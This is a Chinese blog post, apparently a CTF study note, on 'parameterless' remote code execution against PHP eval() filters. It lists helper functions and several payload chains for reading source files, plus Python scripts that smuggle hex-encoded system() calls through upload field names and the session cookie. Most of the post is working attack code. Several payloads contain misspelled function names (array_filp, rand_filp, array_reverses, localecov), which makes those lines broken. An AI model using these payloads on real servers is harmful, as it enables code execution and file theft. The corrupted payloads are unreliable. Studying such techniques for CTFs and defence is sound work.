无参REC

 

参考师傅文章:PHP Parametric Function RCE

 

遇到了一道关于无参命令执行的题目,当时根本做不懂,东看西看,最后总结了一些方法,终于把题目解出来了

 

什么为无参rec

若有如下限制规则:

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}

 

此处限制为只能传入var_dump()、print_r()之类的函数、可以包裹嵌套

但是唯独不能单独出现,类似于print_r(123) 中间包含参数

 


 

 

总结了一下无参rec常用的函数

 

localeconv() 函数返回一包含本地数字及货币格式信息的数组(第一个是个点)。
scandir() 列出 images 目录中的文件和目录。
readfile() 输出一个文件。
getallheaders() 返回http头部信息 //apache中有效
get_defined_vars() 返回由所有已定义变量所组成的数组

current() 返回数组中的当前单元, 默认取第一个值。
each() 返回数组中当前的键/值 并将数组指针向前移动一位
prev() 将数组的内部指针倒回一位
pos() --> current() 的别名。
next() 函数将内部指针指向数组中的下一个元素,并输出。
end() 函数将内部指针指向数组中的最后一个元素,并输出

array_reverse()以相反的元素顺序返回数组。
array_filp()交换数组中的键和值
array_rand()随机返回一个或多个单元

var_dump() 打印数据的类型
highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码。
show_source() --> highlight_file()的别名
print_r() 要打印的变量,string、integer 或 float 将打印变量值本身。格式化 array

 


 

 

 常用的注入payload

 

方法1:

highlight_file(array_reverse(pos(localeconv())));

 
方法2:

show_source(rand_filp(array_rand(scandir(current(localeconv())))));


方法3:

show_source(next(array_reverses(scandir(pos(localecov())))));


方法4:

show_source(next(array_reveses(scandir(pos(localeconv())))));
//只要在头部添加最新的字段,然后值为执行语句就可以进行注入了

 

highlight_file(session_id(session_start()));


方法5:

import requests
from io import BytesIO

payload = "system('ls /tmp');".encode('hex')
files = {
  payload: BytesIO('sky cool!')
}
r = requests.post('http://localhost/skyskysky.php?code=eval(hex2bin(array_rand(end(get_defined_vars()))));', files=files, allow_redirects=False)
print(r.content)

 

 

方法6:
session_id

import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "echo 'sky cool';".encode('hex')
cookies = {
    'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print(r.content)

 


方法7:
getcwd() 获取当前工作目录
dirname() 返回路径中部分目录

var_dump(getcwd())
var_dump(scandir(getcwd())) 扫描当前目录文件
chdir(dirname(getcwd())) 回到上一级目录

readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));





 

posted @ 2021-11-22 22:12  p40h33  阅读(63)  评论(0)    收藏  举报